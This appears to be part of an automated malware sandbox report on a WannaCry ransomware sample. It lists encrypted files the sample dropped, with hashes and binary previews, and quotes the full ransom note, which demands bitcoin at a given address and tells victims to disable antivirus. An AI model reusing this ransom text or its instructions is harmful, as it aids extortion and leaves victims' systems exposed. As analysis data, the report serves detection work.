                                    SHA-512:0B33012664DEFA160834B9E44729BC3C29F03FE6B75FCAC40A810E9817290793564CD315E5CCBF65CB91ED229E411414E2565818EB1C1F39F85A060FF01F936C
                                    Malicious:false
                                    Preview:WANACRY!.........{>,.pU...@0Gn&...O.T}D..8.k.._E.`.....g...P...ZU..........x.&.N+....<....na.yk..|ti........z..9.$.].NV..6.".7....B..._`.U..n...J.....C3'..E.<a.4...m...!..s....x....j..iT_...v0.j.+..Zz..s.!v....c...o hR.'.uO...K/S.......F.X..:R..X\..:P.............R.......iX.......R-.%...._.V.ymC..v.X+3.Q.z....%....#.h...skD...|.'ml.....&.........f.3....}ZJ..e..yP.~...E..MN8..(..:....o2..T...._....r.....X...5.....t.,....ZvP..Lk.?H.Jj_...g3.......6.a...]r..g*..7.Ji...$....s..?.9..j..~.m..hh.+.S.S.,.iU.c..Y..tYm....n*.:.2m..O.+t1......7V........^.....5N..*..T1..4...._....l@JX(x.~.I.@...%:/h|.p.I..x........wK/#..wE....?.D......$o.......Q........M..yRJ.g....q...s@....>.......vo..I..m.."..B...m`.......9.].IUI".1.n...zJ.....#.&Z....E......)1..g...>.uJ..4..4>]....\.......@....ux...r@...7..-.....>w.\.a..$...k:0b....n4..'..'..(...!RbU....".H..........H.]z...j~.".....m....?.7..........O.X.}5.........|......I..H.Ju..}...).#....m.(..k....,..P3..x

                                    C:\Users\user\Desktop\LIJDSFKJZG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852935800771721
                                    Encrypted:false
                                    SSDEEP:24:bk0XiuOerMTPn+IEkRVm60x4T1MMGUnEXYu4pTve/IxyYvB96FXr1KQ:bk0XtrMTh9mRGTr9CYDpTiCyMB96R1KQ
                                    MD5:DB8F4A7AE0B1970AEEA3BAF1FC0094E8
                                    SHA1:FBE7F69F4794322212EEB634DE218CD236EDC751
                                    SHA-256:661DAA7425E43F8463CD8691152B8554E2C6E3B4D0259B4F8D83F78606FA4A0E
                                    SHA-512:0B33012664DEFA160834B9E44729BC3C29F03FE6B75FCAC40A810E9817290793564CD315E5CCBF65CB91ED229E411414E2565818EB1C1F39F85A060FF01F936C
                                    Malicious:false
                                    Preview:WANACRY!.........{>,.pU...@0Gn&...O.T}D..8.k.._E.`.....g...P...ZU..........x.&.N+....<....na.yk..|ti........z..9.$.].NV..6.".7....B..._`.U..n...J.....C3'..E.<a.4...m...!..s....x....j..iT_...v0.j.+..Zz..s.!v....c...o hR.'.uO...K/S.......F.X..:R..X\..:P.............R.......iX.......R-.%...._.V.ymC..v.X+3.Q.z....%....#.h...skD...|.'ml.....&.........f.3....}ZJ..e..yP.~...E..MN8..(..:....o2..T...._....r.....X...5.....t.,....ZvP..Lk.?H.Jj_...g3.......6.a...]r..g*..7.Ji...$....s..?.9..j..~.m..hh.+.S.S.,.iU.c..Y..tYm....n*.:.2m..O.+t1......7V........^.....5N..*..T1..4...._....l@JX(x.~.I.@...%:/h|.p.I..x........wK/#..wE....?.D......$o.......Q........M..yRJ.g....q...s@....>.......vo..I..m.."..B...m`.......9.].IUI".1.n...zJ.....#.&Z....E......)1..g...>.uJ..4..4>]....\.......@....ux...r@...7..-.....>w.\.a..$...k:0b....n4..'..'..(...!RbU....".H..........H.]z...j~.".....m....?.7..........O.X.}5.........|......I..H.Ju..}...).#....m.(..k....,..P3..x

                                    C:\Users\user\Desktop\LIJDSFKJZG.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.807256526128521
                                    Encrypted:false
                                    SSDEEP:24:GCkYkwWJ/rgPcfjyjOhcxeiOMEXR3V8WgDFA0+m:zmwWJ/8c+jWGTEXH8DhR5
                                    MD5:D2CBA419AF33F9270CA58AEF5FC53C54
                                    SHA1:3B98503996BB57A79420D5F79D2008046BCE3862
                                    SHA-256:105D1D4A72B75E578193DFEC0ABD69C14A3CA657E7951D571A5E300DB61313AF
                                    SHA-512:D9BCAAA926D44AB95EC267C132C029B43CF373AF992B852F247187244FB1ACFFE118D9CFC15C299A501CE8C1908099F1B0264E7633B4CDB59802D99CC48F28E3
                                    Malicious:false
                                    Preview:....9...D.y...cj'.H...+*...!...-..........`E.1..V.dBnx...8.M.+j.S..b.xd.O*s.J9.@. 9...xE....U..'#...GW.Z.u.i/...E...-..6..0.I(z.....)....{..A.L...zD..w...kQK..J...r+[x......O..).....H<$.H.].....:KD..(#H.;s.a......+...m....g.86.....b3..17..w.v...T....l2.P......{...J..=..@..j..t..t...e"...;tJ_d5 .@...m..M.*J....|...T....z.^b..gK.^W..[x.....J)..oT.7..N2e.&...!..d.e...:.\s...W.G*&..sC....~..A.9...&.4]...'.........:/$N.e......".."....,H;]."..D.2....@C.,.....|l.....;..Q.k*=+..U.>k....P.....+...iq7..7...m8.B.l>..lR.2).......{..._S..b<*;...^x^./.q.s...JJ~."..S*...J.Q..P. ..._..........14.@..UUd-.#.]-<...@9.......!u.f0.3....Ti._.h...,..5.l.g...:S..:...3eC$N.o...n..\...Lhk...s..1P9...(g..:.)......?D..`...}d.....H.~../....%.d..:\b.^.$X,.n.....k.......c".aa..e..6..T.K....HL.........Mh.xU..uq.@...20..L*+.rX:....3.I..9]..}.]{......w.]..[.oN..r&....s...f..X.-B...h...UEt..[U.Ln......g.H.C.."...............@Su...T./.%N!Ec.....f..+WaT.~4.>..u.B#;.[...PQ

                                    C:\Users\user\Desktop\LIJDSFKJZG.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83618276367708
                                    Encrypted:false
                                    SSDEEP:24:bk//wna9LJtqNSMxxy/NB+N2BvilFKM6a/pH4BNJ/Nfs4jfHbH:bk//DLJtUxYemalFKM7Z4Bfj
                                    MD5:FD2E4ECFC21255394EF150ECDA7324FD
                                    SHA1:D614D78C81073E9150506C2490CDF90B2A27A965
                                    SHA-256:18A4338CC86F876F1311E224A484BA977E5ADA33DCA4B3907154041A9A4FB274
                                    SHA-512:E1BB3CF57A70A73875C30F80DC648D1227517609AF4856FC101E87F90488E729A1F420F2D7DB24A052B9E0B68D14F2383D1C0CD78A43EA4213E0EF91AF73BF2B
                                    Malicious:false
                                    Preview:WANACRY!.......Z.A..g_04Q..T'-m...............\..l.D.V......2..U...x....~..:..`&..OC.YI..$..t.?..;..Rf..'..Cj.n.-%......*.7|..X...z.5..e.8.sYy.`~......Q...f.Sw...nDj......#.k.'H...y.wj|.L...pq..p.....S^C...w.1.#.I..gkv..iE.....*P!.(..V...I.O1..Z.CE....T.^...............n..C.;..*..F...Z...T.'.8U.J.?..O.;M..t1z#:.g..... ..W...nU.k./..t..........A{.R......zT.O...K...{..1....k....w.HSUY.u5:.-.S...N...|..4yu..H..2Z.u<.....|...&..:).2..[..77,W..\S..'.....-4...F`6../.e....!.i...l.s.f............i'....<.F.}.V?.S#......{....9.?.w.Go.dpV....v...O..c...C"...Kp}.....>.n...e.3..g.Q.........e~k.ta..)....V..."...).Zn$,........G1]...Y.<.....w)..t..............y.&...I.!X$......BX.....j...b...r..........H"...'4KR.8.....$..Q^-.....5/..kE..!....D...5A.....e..e..u.L.;.*:..}...$`TW..#.....4.".v.....j.ld.uJ(h....0../..I.O_.m..`..o......1.V..W...k....]..w~1W.r.V\...%A#b..tI..(.!....AE=..#.5A.....m...E .j....{..6.D._.F..O...{......:............[yyvxF...=...

                                    C:\Users\user\Desktop\LIJDSFKJZG.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83618276367708
                                    Encrypted:false
                                    SSDEEP:24:bk//wna9LJtqNSMxxy/NB+N2BvilFKM6a/pH4BNJ/Nfs4jfHbH:bk//DLJtUxYemalFKM7Z4Bfj
                                    MD5:FD2E4ECFC21255394EF150ECDA7324FD
                                    SHA1:D614D78C81073E9150506C2490CDF90B2A27A965
                                    SHA-256:18A4338CC86F876F1311E224A484BA977E5ADA33DCA4B3907154041A9A4FB274
                                    SHA-512:E1BB3CF57A70A73875C30F80DC648D1227517609AF4856FC101E87F90488E729A1F420F2D7DB24A052B9E0B68D14F2383D1C0CD78A43EA4213E0EF91AF73BF2B
                                    Malicious:false
                                    Preview:WANACRY!.......Z.A..g_04Q..T'-m...............\..l.D.V......2..U...x....~..:..`&..OC.YI..$..t.?..;..Rf..'..Cj.n.-%......*.7|..X...z.5..e.8.sYy.`~......Q...f.Sw...nDj......#.k.'H...y.wj|.L...pq..p.....S^C...w.1.#.I..gkv..iE.....*P!.(..V...I.O1..Z.CE....T.^...............n..C.;..*..F...Z...T.'.8U.J.?..O.;M..t1z#:.g..... ..W...nU.k./..t..........A{.R......zT.O...K...{..1....k....w.HSUY.u5:.-.S...N...|..4yu..H..2Z.u<.....|...&..:).2..[..77,W..\S..'.....-4...F`6../.e....!.i...l.s.f............i'....<.F.}.V?.S#......{....9.?.w.Go.dpV....v...O..c...C"...Kp}.....>.n...e.3..g.Q.........e~k.ta..)....V..."...).Zn$,........G1]...Y.<.....w)..t..............y.&...I.!X$......BX.....j...b...r..........H"...'4KR.8.....$..Q^-.....5/..kE..!....D...5A.....e..e..u.L.;.*:..}...$`TW..#.....4.".v.....j.ld.uJ(h....0../..I.O_.m..`..o......1.V..W...k....]..w~1W.r.V\...%A#b..tI..(.!....AE=..#.5A.....m...E .j....{..6.D._.F..O...{......:............[yyvxF...=...

                                    C:\Users\user\Desktop\LIJDSFKJZG.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.795029113696736
                                    Encrypted:false
                                    SSDEEP:24:mcHrefORSf4TnlQ+0x0kwCY6kW68Sz0u+H/DrZffGQf:bHrAhfWlQH2DCY6169Z+fXZffG+
                                    MD5:626CB8A0CB9E4DBDFF8E611291B0D3DA
                                    SHA1:1711257AA7A61F3DBD86C86B7BF0491661F3D03A
                                    SHA-256:03CC2A96296E572ACEFD5B13B3666BAC9E5D7EA26E1E27D0EABE84A82E82774F
                                    SHA-512:125ADE14275688690349C976A7D58302DCBA870C31A78CF2D76E38AFC32AEDF2EC5547FF260E640704BF342E68876F4199143D2B2B12BCC85FD685242891B0B3
                                    Malicious:true
                                    Preview:6...j...."@..{...25.'....|../D..4...s.f.v..>3..+8l&...4m9.c....*....kd...".....A..^....7+]#.Q....-...P..i%...r.k.*.....}XI.....p....@y..L....z....t...s..k5X_eTj]...?.!.....>+K......CO.jF.^A......W....K}.~X."_(^6..i.$3......=..S...x6G).z}....+........#.@2...P...v.......x..3....<Eqq:.7R..K2q|.3...<.....|v.....3[.V.o..E...l....9.k..-...............p[.k....X.c...$...;Ko..:Xf!....E...,H.lxYz.7?..*.4.6..^..{.K).~In...)@R\....V..8 ./..R.]....#S...0...?^.+f`."v......v...v>.b..{..".V....K_..o..5E.............a....w."z.h.^3....{..{\.W.j.2...8.,f.dR.x.S...E.......@...m.c.bn.........L.@<...vX!.)......g,......s$.t.7.1,..3.b....q<..W.......=..l..F.?.1[e........1...5.D.d....)]....#..Gm..7:[.].E.I._...p.......N....E....Is\...h..\.o ..9Y/......i...J..2.....Qg......V..[....y.P...CQ....V...D.:..f.......J.>..F..&}....u .c.h..L.W.KX..0.... ..c.uP..1f...[D........S.g...r.7.i. ....N.a....$...H.[m.'.rm..p.....=....S....]s...aA*..h.....,.8.0.&.@4..R

                                    C:\Users\user\Desktop\LIJDSFKJZG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837537939610206
                                    Encrypted:false
                                    SSDEEP:24:bkpgoRQ/Q1M+/2w9xu+JhMyFj4GU9KjOFkOWKeSfCLlRN6uiIZ4kjSlgC2z:bkvyyfxuuMy2GUE7AaLl36iZ4XGC2z
                                    MD5:994F7FFF9846C535E6158CEDD38314B5
                                    SHA1:09C8B9DC218D757267741069B6D001B0C5714EE7
                                    SHA-256:E20F725DD638AD864E052EEB89B74E642316F50312FE8165A24FE469FAF052F7
                                    SHA-512:7A869BE7ADC0EE51EBE29E5E41D3EFBA225C57515DCCD133CC901B3C11DB1585A209CE6947770AAD52110A8D9C5F199C08CF2A0C9D8E44ECD953E04D5EA72CC6
                                    Malicious:false
                                    Preview:WANACRY!.........0..AQN6.....s.(.Q<..a...F..:.HH.H&A.L......=.5.b....X.[j .6.So].S....*...X...,C.].lV.;F.N...9.....|.]......GD1...(x..*...s.j.t..]`.H]..:.N.{.._..^...i..t.e.3...FI..r..........\..qQ.dY=..'.=../......j.E.$j._.......=L.Y9...I..C..k..d..X$N..............x.o.+.M.p......s..~W..#3..XV.............r..4...]....i..XE.....:......f.F.$...7.<...fF.L.3.S&...H..]....../_].~...X.u..B...-..!. q.._R.....j..d..e.W..o.*...{l..P.d.$'........q?........Z...b...\r..!o.....O.OXW....W......i..&D..G.D......6T...U..Z=]..i"...+.xz....U.Q....a.O.>..Q...g_.......{PY.#C.-..6..uS5....5Oi.lA...{C.P.C.J.+...P,/C.{X],....A...}.d.PW.c6u.[r]..@B..!"........K\i.^...[e..h.a..G8..&.........U..p{1#..X.i.ef.>/..\W...7o.9K........h....v..d.4.#.....v.'......<)....9..EvD.:d..~...7.,&`..mM..o.F......z.=Z. k....k.7bI.[......Hf...YFl.{ua.o(...8........i..&..RY...y..8e.!..F.......A..]Q.u~.U.....e.g...U1...zpq....9bi.{j\l>ot.......m.6f.....p.~.....[.-..N!.7C.P$.;$zR..l<g.n

                                    C:\Users\user\Desktop\LIJDSFKJZG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837537939610206
                                    Encrypted:false
                                    SSDEEP:24:bkpgoRQ/Q1M+/2w9xu+JhMyFj4GU9KjOFkOWKeSfCLlRN6uiIZ4kjSlgC2z:bkvyyfxuuMy2GUE7AaLl36iZ4XGC2z
                                    MD5:994F7FFF9846C535E6158CEDD38314B5
                                    SHA1:09C8B9DC218D757267741069B6D001B0C5714EE7
                                    SHA-256:E20F725DD638AD864E052EEB89B74E642316F50312FE8165A24FE469FAF052F7
                                    SHA-512:7A869BE7ADC0EE51EBE29E5E41D3EFBA225C57515DCCD133CC901B3C11DB1585A209CE6947770AAD52110A8D9C5F199C08CF2A0C9D8E44ECD953E04D5EA72CC6
                                    Malicious:false
                                    Preview:WANACRY!.........0..AQN6.....s.(.Q<..a...F..:.HH.H&A.L......=.5.b....X.[j .6.So].S....*...X...,C.].lV.;F.N...9.....|.]......GD1...(x..*...s.j.t..]`.H]..:.N.{.._..^...i..t.e.3...FI..r..........\..qQ.dY=..'.=../......j.E.$j._.......=L.Y9...I..C..k..d..X$N..............x.o.+.M.p......s..~W..#3..XV.............r..4...]....i..XE.....:......f.F.$...7.<...fF.L.3.S&...H..]....../_].~...X.u..B...-..!. q.._R.....j..d..e.W..o.*...{l..P.d.$'........q?........Z...b...\r..!o.....O.OXW....W......i..&D..G.D......6T...U..Z=]..i"...+.xz....U.Q....a.O.>..Q...g_.......{PY.#C.-..6..uS5....5Oi.lA...{C.P.C.J.+...P,/C.{X],....A...}.d.PW.c6u.[r]..@B..!"........K\i.^...[e..h.a..G8..&.........U..p{1#..X.i.ef.>/..\W...7o.9K........h....v..d.4.#.....v.'......<)....9..EvD.:d..~...7.,&`..mM..o.F......z.=Z. k....k.7bI.[......Hf...YFl.{ua.o(...8........i..&..RY...y..8e.!..F.......A..]Q.u~.U.....e.g...U1...zpq....9bi.{j\l>ot.......m.6f.....p.~.....[.-..N!.7C.P$.;$zR..l<g.n

                                    C:\Users\user\Desktop\LIJDSFKJZG\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Desktop\LIJDSFKJZG\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Desktop\LIJDSFKJZG\BWDRWEEARI.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.799921447438433
                                    Encrypted:false
                                    SSDEEP:24:LM3bIQmxum88kkES6wobTjRqZdLSNmvOLGheuDmMzQqBINtOLI:MbIQvwV6wajRqZbWKeuA5NtB
                                    MD5:AB125E90DF9D23CFCADB50BD1E41DACF
                                    SHA1:4414DAE1E0F2E706FB5181CFA0F555E78B7B061A
                                    SHA-256:877CC29852098A7F6A6D5E01961518928B0FF547F37DE16B09F842CEA30281DF
                                    SHA-512:1B25379C48477C66A7181DF47F11D5F014D183D4867FC080A26A6F4740B7EA787F48163B4629F6F19A6D53B971C0AE6D72334EC08811A8D3D682988928CF1902
                                    Malicious:false
                                    Preview:..)hKe......i...s........7.3-.&.\.0.Yd.y.....k'.J.b...n.~..DYY...9M...._...n..Q^..._..cYk....q(.y~C..^+...9..D.a.!.S....2. AE.x#.)ec..X~..3...O...:.0\...n...7..=U..b.......(I..y....$....'.2....i..\...S.f.h..h...=m..:;S.(..T.S.....t.D.{.\S^Z.+Q.........;k...f.+..w....fJ#.D...J....}.T...#..B..J.[.E..0f..V*L.._....c.M=.mg....gU.</&.-6..jba..>..".[.~#;....8....a...20.;. 'PP.5.."(.o........1......,b.l...Yg."H...a..>.b.7R..G.-!.c.......E...Bn..>.X~*K1.....,=....m..1..9tQ.HG.?P..l..X.....ZIq.<"m7...t...&|f.D...1.9.......G..u.H.0.A.....=.q..\.E......E......k....l..L..d..Y.y6....b#Cd..I%.......R.y..5>.a.,....s.R........S.W...p..9.~..........+Z.B[.3hG......?.F..G...h....A>...^.RA..`w....O..=..R_....g.;...!....Xy..R*.J.R)...z4A..~....l..2l......A0(...a..A....nU.d..F.}..Z.........{.iO....#..c.B...n.&^....(=..<:.V.;k..N...m..B.M..{.I.O.@.O..H.\.B.S.|.3..........<..q.c.....7.!:.Qn..u..2....q.O....4.H.hej...%+o\&.a.q.(Qb.Z......x:L..1....h.)..!....

                                    C:\Users\user\Desktop\LIJDSFKJZG\BWDRWEEARI.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.860887675914645
                                    Encrypted:false
                                    SSDEEP:24:bkIDFIDyPfInBA32VGc/k8GomXfLn76xxvnAHPTpQec1SuAcbBFK:bk6ID2IK32Vc8FmPLn7aduPTNyAct4
                                    MD5:EA55F5E5E3E4F94F4EB1AC58C806CA21
                                    SHA1:092251D0D0F94BF6B8E117DC65E3A0A9AC570CEB
                                    SHA-256:EB7E061A38C02E7AC6E3463B2A60FD8EC395CB72F76FAA0D108609E8DA903B49
                                    SHA-512:814DF51918A94EAA8F57023BCA2A2553F91181D53D117E95616E72B7E2991A2A93FB230EFB40DCD311E9079E493798EDE6B2C88CC75AF3A088F247ABD0ADAA25
                                    Malicious:false
                                    Preview:WANACRY!......)-J`......XA...#rv9..;...9......e2-\Ka`.H.b.O.K2.X..u..8e.m.].s..;..<3......6....`..".SX ..kV......8e...p...U.bim.m,FY....G......M@.>..nZ.c..?.z./p^T..|...3....g....k..V.T....v4u.....e .f..~B.T..n..-].x.x..t:.e....d...].....'..FR:...y<.............._S3d:Zv.+...v..+..\..EPMU....}..<]...7.'w..7...,.}kn}.$.}]..j.?..c...e.......*|X.s.....=06...-...ll4.;..K...j2.Z..S..z....[.5.I.W.!...Z..&."yO..i.~..x.....q......oJ0)$..=.i..6..RD.%..n..u..hA..w.E.3_.o.vUT.u....u.!n..`.G...t...-.ha.5R........e...A..@.T...#l.HM...Z....5.(...V..".W|6..Q)....Z...cL....<SOO.kh.I..r..R5.RsD.U.~..f.".%..P..2g7...W...f........'..6./D^.M.6.{Yha.\]..w..@.x.95....|F.t..5=SD.ut.[.'...Y.p."..Q.Tng....K.S......^b....p,.;...Ijx.O.J.Y...hm.A.U..}.{}.h..COB.|W.uS..c~ 571..U....D..C.M...w.6....dc....(i.q..D......~......4(9...y.:R&N-~..V.....Ps0....m.h..B...L.g-m..`...PF-=.u.!/.?......?F\.z.-.e..G'*g..`.....=...]....m.3..i..#..0w.....o.LV.....Za;.~T...S-V.\...n..Z....

                                    C:\Users\user\Desktop\LIJDSFKJZG\BWDRWEEARI.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.860887675914645
                                    Encrypted:false
                                    SSDEEP:24:bkIDFIDyPfInBA32VGc/k8GomXfLn76xxvnAHPTpQec1SuAcbBFK:bk6ID2IK32Vc8FmPLn7aduPTNyAct4
                                    MD5:EA55F5E5E3E4F94F4EB1AC58C806CA21
                                    SHA1:092251D0D0F94BF6B8E117DC65E3A0A9AC570CEB
                                    SHA-256:EB7E061A38C02E7AC6E3463B2A60FD8EC395CB72F76FAA0D108609E8DA903B49
                                    SHA-512:814DF51918A94EAA8F57023BCA2A2553F91181D53D117E95616E72B7E2991A2A93FB230EFB40DCD311E9079E493798EDE6B2C88CC75AF3A088F247ABD0ADAA25
                                    Malicious:false
                                    Preview:WANACRY!......)-J`......XA...#rv9..;...9......e2-\Ka`.H.b.O.K2.X..u..8e.m.].s..;..<3......6....`..".SX ..kV......8e...p...U.bim.m,FY....G......M@.>..nZ.c..?.z./p^T..|...3....g....k..V.T....v4u.....e .f..~B.T..n..-].x.x..t:.e....d...].....'..FR:...y<.............._S3d:Zv.+...v..+..\..EPMU....}..<]...7.'w..7...,.}kn}.$.}]..j.?..c...e.......*|X.s.....=06...-...ll4.;..K...j2.Z..S..z....[.5.I.W.!...Z..&."yO..i.~..x.....q......oJ0)$..=.i..6..RD.%..n..u..hA..w.E.3_.o.vUT.u....u.!n..`.G...t...-.ha.5R........e...A..@.T...#l.HM...Z....5.(...V..".W|6..Q)....Z...cL....<SOO.kh.I..r..R5.RsD.U.~..f.".%..P..2g7...W...f........'..6./D^.M.6.{Yha.\]..w..@.x.95....|F.t..5=SD.ut.[.'...Y.p."..Q.Tng....K.S......^b....p,.;...Ijx.O.J.Y...hm.A.U..}.{}.h..COB.|W.uS..c~ 571..U....D..C.M...w.6....dc....(i.q..D......~......4(9...y.:R&N-~..V.....Ps0....m.h..B...L.g-m..`...PF-=.u.!/.?......?F\.z.-.e..G'*g..`.....=...]....m.3..i..#..0w.....o.LV.....Za;.~T...S-V.\...n..Z....

                                    C:\Users\user\Desktop\LIJDSFKJZG\BXAJUJAOEO.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.799350964004862
                                    Encrypted:false
                                    SSDEEP:24:1PtaDcZXfd2IP4hhflNdqGZufLHmbGOuPLODWOP6SW:1UYF3P4hhfBqGZOLGCOuP61PDW
                                    MD5:6BF262362C375CBB4A0F25B963B5061D
                                    SHA1:B247A8640F2C4E6B96AD102437E48BE88F6A0F2C
                                    SHA-256:5E06D8399A65177D3F095A9C562AAA05E3A45E4E2CA81E35308201A87FCBFD8B
                                    SHA-512:3C343B020362D6C8B74C066222A6B8E167DCB5E3A8C74F72D129EC2F958216818774A0534E54A58C8B9551243488620002ADA83A75113F904F07F1C4419D8736
                                    Malicious:false
                                    Preview:.@q.e^-.aI.s...Z..|..7.... .%!(.._p.MH..J.mh.[.D..ZUi........'..v.^Z.....zi+.p...@.I.`.}.i2.\X./...A....H..j.:..U.>..D...........)....{W.nq.q..K...".O.1K.kyY.N.^w.s..b.i.W.|.h..........,.ij..l...b..._2P.Cw...f..~Edk<t0..5l...8..ER.]....T..y~.F.T.Q ...;.A..W....y......f... ...xDG.sR"...T....D;.Q.z.o.>M....,.d.'{....w....8f}..wy.(%@..*.k..ZD..O..43...Q.;.dl...ro.....K.M5..~T.,.zWmM..X..==.(t...;.X.&.H%.M.....O.s.Le."....d.......o.....b..W..l.,~..,.r.......7B.....`..X...%v.[.U....R.E..(....* .b...[.v.h....;k+$...b.|..W.)~.fu.M\..".{1..#v+'..D..V&...*.......N'y..stJ.P.1.Jx... .......]Q.L..)....~...GuS......q$.kN.....neXF....l.:_.c&..e..z.#AP\8..=.&`..$Cy.........&D.h.3IW3..f.O[..<..\.<k&.16..@.R.-...*].Q.u.|.e...2.p.P..&.Ts4.T....O.u.Fu1..L..[.tp.I..7....D.......#.Q..`..gc.HN....l H.'#|^.H.Y.*..c.....O..> b:.db.c.t..q+.....+.]}...#..3B..HS..9J.27...<..R9...*.c.' ...\=..d...A.U.}84D.u}).!...=..-..f..xV.h........./.A....j...e.C.=...E.....N...e|WG

                                    C:\Users\user\Desktop\LIJDSFKJZG\BXAJUJAOEO.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830090592001459
                                    Encrypted:false
                                    SSDEEP:24:bkjmTcZinWOAI0kguuBJfMMtTJ4l62bm1WI5fSqfJdFlmu65bvEwV52Xs:bkGnXF0kguubf77A67X5f1JXIugvEw77
                                    MD5:B840338DC2B4A1FC84464C3146D1BA52
